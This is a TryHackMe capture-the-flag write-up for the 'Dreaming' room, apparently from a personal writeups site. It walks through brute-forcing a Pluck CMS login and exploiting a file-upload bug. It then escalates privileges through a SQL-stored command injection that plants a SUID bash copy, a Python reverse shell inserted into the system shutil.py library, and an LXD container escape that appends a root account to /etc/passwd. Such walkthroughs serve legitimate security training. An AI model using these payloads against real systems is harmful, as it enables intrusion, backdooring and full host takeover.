# Dreaming

{% embed url="<https://tryhackme.com/room/dreaming>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

## Recon

We start off with a Nmap scan and are able to detect two open ports. On port 22, it is running SSH, and on port 80, it is running an HTTP server.

<figure><img src="/files/xucDvNmUtzV08YyyRHeJ" alt=""><figcaption></figcaption></figure>

For the sake of simplicity, we added our target machine to the `/etc/hosts` file as `dreaming.thm`. We hit up Nmap again with a service and default script scan to retrieve some more information. It's running `OpenSSH 8.2p1` and an `Apache 2.4.41` web server.

<figure><img src="/files/PUX1efdYq5NIFOvkK8pM" alt=""><figcaption></figcaption></figure>

We directly hit up Gobuster to enumerate the directories on the web server. There is just one thing we have. The directory `app`.

<figure><img src="/files/ogYuvL5hE8jIk99Wr6zK" alt=""><figcaption></figcaption></figure>

By visiting the root of the page, we are greeted with the Apache2 default web page.

<figure><img src="/files/to03cH2n5JuOUAgMLYii" alt=""><figcaption></figcaption></figure>

Ok, next, we get to the directory app. Here we have a directory listing for `/app/pluck-4.7.13/`.

> Pluck is a small and simple content management system (CMS), written in PHP. With Pluck, you can easily manage your own website. Pluck focuses on simplicity and ease of use. This makes Pluck an excellent choice for every small website. Licensed under the General Public License (GPL), Pluck is completely open source. This allows you to do with the software whatever you want, as long as the software stays open source.

{% embed url="<https://github.com/pluck-cms/pluck>" %}

<figure><img src="/files/xWHoQfaeg0SKNoCaw9UI" alt=""><figcaption></figcaption></figure>

There, we are able to include files via the parameter file.

<figure><img src="/files/nu0mm6vOjzB1vlLemEhY" alt=""><figcaption></figcaption></figure>

We checked for LFI, but it was detected as such an approach and mitigated.

<figure><img src="/files/L8agQ5geAeD0u6l65u2B" alt=""><figcaption></figcaption></figure>

Using FuFF to fuzz for some possbile file inclusion payloads does not lead to a desired result.

<figure><img src="/files/YZK27LE7nJAwAsxfuZlW" alt=""><figcaption></figcaption></figure>

While trying to abuse the file inclusion, another Gobuster scan is run to detect more of `/app/pluck-4.7.13/` since there are no links present.

<figure><img src="/files/HumjCM5w6fl7FRQjgzzY" alt=""><figcaption></figcaption></figure>

We dive deeper into the directories...

<figure><img src="/files/TYxuq4pk6gye79DhJwAQ" alt=""><figcaption></figcaption></figure>

... and are able to spot some interesting `.php` pages in the settings directory.

<figure><img src="/files/nc9QrRwJJllZ0a0WpFFA" alt=""><figcaption></figcaption></figure>

For now there are two pages of interest. The `login.php` and `pass.php` pages. But `pass.php` does not reveal anything on plain sight and since we can't use LFI we move on to the `login.php` page.

<figure><img src="/files/F8y5sTGFbXFSjVvn2Ku3" alt=""><figcaption></figcaption></figure>

## Foothold

With a quick lookup of version `4.7.13` of Pluck CMS, `CVE 2020-29607` is found. A file upload restriction bypass vulnerability leading to Remote Code Execution (RCE). So we stay a bit longer at `login.php` for now to make use of the exploit.

```py
CVE-2020-29607
```

> A file upload restriction bypass vulnerability in Pluck CMS before 4.7.13 allows an admin privileged user to gain access in the host through the "manage files" functionality, which may result in remote code execution.

After some quick research, a PoC can easily be found at `exploit.db`:

{% embed url="<https://www.exploit-db.com/exploits/49909>" %}

But a password is required. After trying some arbitrary credentials, we get the message password incorrect. With that in mind, we hit up Hydra to brute force our way through, but quickly see that we will fail there.

<figure><img src="/files/D32oOm1xDRIjlNe7xAJ4" alt=""><figcaption></figcaption></figure>

Since we brute-force a password-only login form the following resource can be helpful:

{% embed url="<https://forums.hak5.org/topic/39652-thc-hydra-with-password-only-login-form/>" %}

After running the command, we only get hits. Everything seems a valid password. Dang.

```bash
hydra -L /usr/share/wordlists/rockyou.txt -P '' dreaming.thm http-post-form "/app/pluck-4.7.13/login.php:cont1=cont1=^USER^&bogus=&submit=Log+in:Password incorrect"
```

We looked up the official GitHub repo. Maybe we are able to spot default credentials, but we did not find anything of interest

<figure><img src="/files/xV3J98ZmNGaoLGgBiVLB" alt=""><figcaption></figcaption></figure>

Using Burp Suite to check the password by hand, we see that we now have to wait 5 minutes before we are able to try to log in again.

<figure><img src="/files/fPR5XxNYDl3cUZMCXALZ" alt=""><figcaption></figcaption></figure>

With a bit of luck by guessing the password we are able to log in.\
`password:p******d`. Keep in mind, this is redacted.

Now that we are able to log in, we chose the following PoC to get us a fully fledged pseudoshell environment:<br>

{% embed url="<https://github.com/0xAbbarhSF/CVE-2020-29607>" %}

After executing the exploit, the shell is available at `http://dreaming.thm:80/app/pluck-4.7.13/files/shell.phar`

{% embed url="<http://dreaming.thm/app/pluck-4.7.13/files/shell.phar>" %}

<figure><img src="/files/Cq83jrQgixYtO0zZzSzv" alt=""><figcaption></figcaption></figure>

We are `www-data`, but we cannot yet spot any flags.

<figure><img src="/files/KMxK2HsqnPi5LwCAxvuN" alt=""><figcaption></figcaption></figure>

For more control, a reverse shell is used. We make use of the `nc mkfifo` reverse shell from `revshells.com`.&#x20;

{% embed url="<https://www.revshells.com/>" %}

<figure><img src="/files/tp1m0VxGKJSJLHrJidle" alt=""><figcaption></figcaption></figure>

We catch the reverse shell. After upgrading it, we move on.

<figure><img src="/files/NLhUeM5s5zFXhzCdmsIm" alt=""><figcaption></figcaption></figure>

For a quick enumeration LinPEAS is used.

<figure><img src="/files/w1ELA9ctGOwBnrEAo14A" alt=""><figcaption></figcaption></figure>

We spot four users, of whom three are related to the flags.

<figure><img src="/files/yB5TvXALG9ff2xu3lIMi" alt=""><figcaption></figcaption></figure>

There is a local MySQL instance running.

<figure><img src="/files/XqRGcLdsm7JQlsk2fylC" alt=""><figcaption></figcaption></figure>

An we are able to spot some interesting files in root and /opt.

<figure><img src="/files/n57hhklAkJrW40jayI3b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/EaB6GbQCZ4WuFtiCL2SS" alt=""><figcaption></figcaption></figure>

While enumerating the web folder, `pass.php` stands out. It contains a password hash.

<figure><img src="/files/Ao8B6CkphS1ug4bGNnUP" alt=""><figcaption></figcaption></figure>

With the use of hashid to analyze the found hash, the possibility of it being an SHA-512 hash is there.

<figure><img src="/files/OR8rZpvioFY9D6Ha2hpi" alt=""><figcaption></figcaption></figure>

Looking for the correct mode. Mode `1700` is the choice to crack SHA-512 using hashcat.

{% embed url="<https://hashcat.net/wiki/doku.php?id=example_hashes>" %}

<figure><img src="/files/OpDTPoxooUPMYScKWKKj" alt=""><figcaption></figcaption></figure>

And we see that it was the password that was necessary to initially login. So the intended way might be to make use of the LFI to reach out to `pass.php`. In an updated version of the writeup I hope to catch up and show this step.

<figure><img src="/files/h1anL3Fci4Sgu54ABKJA" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

The next major section concerns extending the rights for each individual user and should be gone through in order. Please do not look in the unintentional section until you have already solved the challenge.

### Lucien

Let's first take a look at the files in `/opt` that LinPEAS found. Those are owned by the user `death` and `lucien`. Since the first flag is about the user `lucien` we start to inspect `test.py` owned by the user.

<figure><img src="/files/TT7qnsruFF1xKEd97lYy" alt=""><figcaption></figcaption></figure>

It is a script used to check the credentials of himself on the CMS. Maybe those are being reused. let's check if we can change to the user `lucien` with this.

<figure><img src="/files/N2hw8pnOcD8M6DUT4OeR" alt=""><figcaption></figcaption></figure>

We are able to change to the user `lucien`, using the found credentials in the script. Heading to the home directory of the user we spot the first flag.

<figure><img src="/files/Li4m7jMuCvFxtV93CY9w" alt=""><figcaption></figcaption></figure>

### Death

Since we have the credentials of user `lucien` we will access the machine now via SSH to have an even more stable shell.

<figure><img src="/files/34SIZMxaRitbd0y1aHHR" alt=""><figcaption></figcaption></figure>

While enumerating the target, we see that we are able to execute the script `getDreams.py` as the user `death` using `sudo`, which is located in the user's home directory.

<figure><img src="/files/Obqp3BycMFjZu6AYw2Xq" alt=""><figcaption></figcaption></figure>

Looking at the owned files by death we first see that we aren't able to read the version lying in the home directory. But recalling our enumeration as `www-data` there is another version in `/opt/getDreams.py`.

Oh, and there is a Python library `/usr/lib/python3.8/shutil.py`, which the user death has write access to. Interesting. This might come in handy later.

<figure><img src="/files/6GqVtg1rh4aEam6MzwMg" alt=""><figcaption></figcaption></figure>

It is a script to fetch the contents of the table `dreams` from a MySQL database running locally and print to the console output. Unfortunately, the password is redacted here.

{% code title="/opt/getDreams.py" lineNumbers="true" %}

```python
import mysql.connector
import subprocess

# MySQL credentials
DB_USER = "death"
DB_PASS = "#redacted"
DB_NAME = "library"

import mysql.connector
import subprocess

def getDreams():
    try:
        # Connect to the MySQL database
        connection = mysql.connector.connect(
            host="localhost",
            user=DB_USER,
            password=DB_PASS,
            database=DB_NAME
        )

        # Create a cursor object to execute SQL queries
        cursor = connection.cursor()

        # Construct the MySQL query to fetch dreamer and dream columns from dreams table
        query = "SELECT dreamer, dream FROM dreams;"

        # Execute the query
        cursor.execute(query)

        # Fetch all the dreamer and dream information
        dreams_info = cursor.fetchall()

        if not dreams_info:
            print("No dreams found in the database.")
        else:
            # Loop through the results and echo the information using subprocess
            for dream_info in dreams_info:
                dreamer, dream = dream_info
                command = f"echo {dreamer} + {dream}"
                shell = subprocess.check_output(command, text=True, shell=True)
                print(shell)

    except mysql.connector.Error as error:
        # Handle any errors that might occur during the database connection or query execution
        print(f"Error: {error}")

    finally:
        # Close the cursor and connection
        cursor.close()
        connection.close()

# Call the function to echo the dreamer and dream information
getDreams()

```

{% endcode %}

Just for confirmation, we run the script in the home directory of `death`. And it seems like it behaves like the version in `/opt`.

<figure><img src="/files/E7hl8Jfh9zlnxV9yowhD" alt=""><figcaption></figcaption></figure>

Looking at the `.bash_history` (also found by linpeas) of the user `lucien` we are able to spot MySQL credentials for the user `lucien` instead of `death`. But let's see what we can do with it.

```
lucien@dreaming:~$ cat .bash_history
```

<figure><img src="/files/7Q7IJmtsn8ml4pY8XRyg" alt=""><figcaption></figcaption></figure>

Using the MySQL credentials of the user `lucien` we are able to log in to the local MySQL instance that is running. We spot five databases, of which the `library` is the most interesting.

```
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| library            |
| mysql              |
| performance_schema |
| sys                |
+--------------------+

```

We use the database library and inspect the tables. Only dreams are present, like the one in the script

```
mysql> use library;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-------------------+
| Tables_in_library |
+-------------------+
| dreams            |
+-------------------+

```

And the input is the same as the output of the script. We are moving in the right direction.

```
mysql> select * from dreams;
+---------+------------------------------------+
| dreamer | dream                              |
+---------+------------------------------------+
| Alice   | Flying in the sky                  |
| Bob     | Exploring ancient ruins            |
| Carol   | Becoming a successful entrepreneur |
| Dave    | Becoming a professional musician   |
+---------+------------------------------------+
```

Recalling the script, an echo command is being executed, built with the contents of dreamer and dream. Since there is no sanitization, we are able to inject our own commands. For this, we make use of command substitution. First, we tried to just execute `/bin/bash`, but that behaved wonky, so we chose a different approach. We copy `/bin/bash` to `/tmp/bash` and add a SUID bit. Since the script is executed by the user death, the created file at `/tmp/bash` is owned by death. With that, we are able to get a shell as the user death.

```
command = f"echo {dreamer} + {dream}"
```

`INSERT INTO dreams (dreamer, dream) VALUES ('0xb0b','$(cp /bin/bash /tmp/bash; chmod +xs /tmp/bash)');`

<figure><img src="/files/vHCLCejCTuoDaHuvFWgj" alt=""><figcaption></figcaption></figure>

The table should look like this now.

```
+---------+------------------------------------------------+
| dreamer | dream                                          |
+---------+------------------------------------------------+
| Alice   | Flying in the sky                              |
| Bob     | Exploring ancient ruins                        |
| Carol   | Becoming a successful entrepreneur             |
| Dave    | Becoming a professional musician               |
| 0xb0b   | $(cp /bin/bash /tmp/bash; chmod +xs /tmp/bash) |
+---------+------------------------------------------------+
5 rows in set (0.00 sec)


```

We run `sudo -u death /usr/bin/python3 /home/death/getDreams.py` after making the entry in the database, and the bash is copied to `/tmp`.

Now, with executing `/tmp/bash -p` we now have a shell as `death`.<br>

<figure><img src="/files/O6A2t9fdhBYZVpHVMJ1Q" alt=""><figcaption></figcaption></figure>

Next, we head to the home directory of the user and find his flag there.

<figure><img src="/files/bRTkGR4fTKII60AqVbtE" alt=""><figcaption></figcaption></figure>

### Morpheus

As the user death we are now able to spot his credentials being used for MySQL. Those are also being reused. So we are able to log in via SSH as user `death`.

<figure><img src="/files/7IgtM5kC2NrKs7scC835" alt=""><figcaption></figcaption></figure>

From the enumeration of `www-data` a strange file in the root directory was found, `kingdom_backup`. So maybe a cron job using a backup script is running that we can abuse.

<figure><img src="/files/WpxdC59Ly6n3D6OmHgSK" alt=""><figcaption></figcaption></figure>

Since the flag is about the user `morpheus` we look up all files owned by the user. We see an interesting script, `restore.py`, in his home directory.

<figure><img src="/files/xn4HNsdFsC3bAQWgse9a" alt=""><figcaption></figcaption></figure>

With the help of `pspy64`, we are able to spot that the script is running regularly as the user `morpheus`, so this might be our entry point.

<figure><img src="/files/K8Clll9MpcnJy7PPTEzd" alt=""><figcaption></figcaption></figure>

Fortunately, we are able to read the script. It just copies the contents of `/home/morpheus/kingdom` to `/kingdom_backup/kingdom` and makes use of shutil.

But wait a moment, from our previous enumeration, we saw `shutil.py` was owned by `death`.

<figure><img src="/files/CNbukkGc1h4FwjW2mRde" alt=""><figcaption></figcaption></figure>

Recalling our enumeration for compromising the user `death`:

<figure><img src="/files/dIaj6RftkQv0ZUJtEGhF" alt=""><figcaption></figcaption></figure>

So, to be able to use an editor like Nano, we use the credentials found in the script at the home directory of `death` to log in via SSH.&#x20;

From there, we edit `/usr/lib/python3.8/shutil.py` and its contents to establish a reverse shell at the function `copy2`, which is being used. Keep in mind of the correct indentation. It has to be four spaces.&#x20;

{% code title="/usr/lib/python3.8/shutil.py" lineNumbers="true" %}

```python
import os
import pty
import socket

...

def copy2(src, dst, *, follow_symlinks=True):
    lhost = "10.8.211.1"
    lport = 4443
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()
```

{% endcode %}

<figure><img src="/files/Y8ix8cCoBBJ5ZXpSuP5M" alt=""><figcaption><p>Section from /usr/lib/python3.8/shutil.py</p></figcaption></figure>

<figure><img src="/files/n3YhDgPCRZcDgAIHDnay" alt=""><figcaption><p>Section from /usr/lib/python3.8/shutil.py</p></figcaption></figure>

After setting up a netcat listener, we are able to catch a reverse shell as the user `morpheus`. The final flag can be found in his home directory.

<figure><img src="/files/IAtkwXpgPA0MeTWoeX5W" alt=""><figcaption></figcaption></figure>

### The Unintended (Bonus)

The unintended privilege escalation requires you to gain access as the user `lucien`. This user is not only part of the group sudo but also of the group LXD. This might be patched in the future.

LXD is a container hypervisor for Linux systems that provides a lightweight, user-friendly interface for managing and running system containers. It leverages the Linux kernel's containerization features to offer a secure and efficient way to deploy and manage multiple isolated Linux containers on a single host.&#x20;

Further resources on lxd/lxc group privilege escalation can be found at hacktricks \
(especially Method 2: building an Alpine image offline on your attack machine and providing it to the victim):

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation>" %}

This attempt is based on the following write-up from a different challenge, where a misconfigured LXD container is created, where we have root access to it, and we escape this afterwards.

{% embed url="<https://juggernaut-sec.com/lxd-container/>" %}

From our LinPeas enumeration, we see that we are part of the lxd group.

<figure><img src="/files/bZVm7NDkCIFPvLlsSZOD" alt=""><figcaption></figcaption></figure>

Also, we see some processes run by lxd.

<figure><img src="/files/vuIfpMQlspFfBPQvqx6e" alt=""><figcaption></figcaption></figure>

For our exploit to work, we have to build a lxd image first. \
The LXD Alpine Linux Image Builder can be found here:

{% embed url="<https://github.com/saghul/lxd-alpine-builder>" %}

`git clone https://github.com/saghul/lxd-alpine-builder.git`

<figure><img src="/files/oZauCLqoVyWaDSchb6Gn" alt=""><figcaption></figcaption></figure>

After building the image, we should get a TAR file containing it.

<figure><img src="/files/3lvBAkF6n0BTz5YsxBsg" alt=""><figcaption></figcaption></figure>

We use our Python web server to retrieve the archive.

<figure><img src="/files/UMiLRBueeV92mxuQLMUR" alt=""><figcaption></figcaption></figure>

We import the Alpine image using `lxc image import FILENAME.tar.gz --alias alpine`

<figure><img src="/files/zamYt2bD4DmHuYFTeURr" alt=""><figcaption></figcaption></figure>

Afterwards, we confirm with `lxc image list` that it has been successfully imported.

<figure><img src="/files/1pZohqW3bk8mVRZzTMtw" alt=""><figcaption></figcaption></figure>

Before we move on, lxd has to be initialized, using the default values is completely sufficient.

<figure><img src="/files/0rBfuS313cIE4SSFQda0" alt=""><figcaption></figcaption></figure>

Next, the image has to be initialized, and the **security.privileged=true flag** has to be added so that it runs as root. Furthermore, a mounting point to the root of the file system inside the container has to be set.

Then we start the container and confirm that it is running. The name juggernaut is used in the referenced write-up and could be anything else.

```bash
lxc init alpine juggernaut -c security.privileged=true
lxc config device add juggernaut gimmeroot disk source=/ path=/mnt/root recursive=true
lxc start juggernaut
lxc list
```

* `lxc init alpine juggernaut -c security.privileged=true` initializes a new container named 'juggernaut' based on the 'alpine' image, and it sets the container to run in privileged mode using the option '-c security.privileged=true'.
* `lxc config device add juggernaut gimmeroot disk source=/ path=/mnt/root recursive=true` adds a disk device named 'gimmeroot' to the 'juggernaut' container using LXD. This device mounts the root directory from the source '/' to the path '/mnt/root' within the container, with the 'recursive=true' option enabling the process to apply recursively.

<figure><img src="/files/yMrw4AzFyQcCsD4vZfnK" alt=""><figcaption></figcaption></figure>

Now with that misconfigured container, we can drop into a root shell. \
From there, we can break out.

```bash
lxc exec juggernaut sh
```

We are root in the container and are able to navigate to the mount point `/mnt/root`, our target.

<figure><img src="/files/OXApvCwo4jDB0Sl75YNc" alt=""><figcaption></figcaption></figure>

We are able to interact with the file system and access the `/etc/shadow` file.

<figure><img src="/files/Nw6Kz5vKOdBxpnCmaXTj" alt=""><figcaption></figcaption></figure>

We generate a simple password, for a new root user called `r00t`, which will be added to the `/etc/passwd` file.

```bash
openssl passwd password
```

<figure><img src="/files/kUkQB4J1VSSOHFwytSDD" alt=""><figcaption></figcaption></figure>

Append the entry to the `/etc/passwd` file.

```bash
echo 'r00t:.HfPUJhMXHr2A:0:0:root:/root:/bin/bash' >> /mnt/root/etc/passwd
```

<figure><img src="/files/sqiYF5B4OyWANrXM4s7U" alt=""><figcaption></figcaption></figure>

After adding the user `r00t` to the `/etc/passwd` file, we can switch to that user and gain elevated privileges to access various files on the system.

<figure><img src="/files/dIa2R2fqsTlgNzfDZoht" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2023/dreaming.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
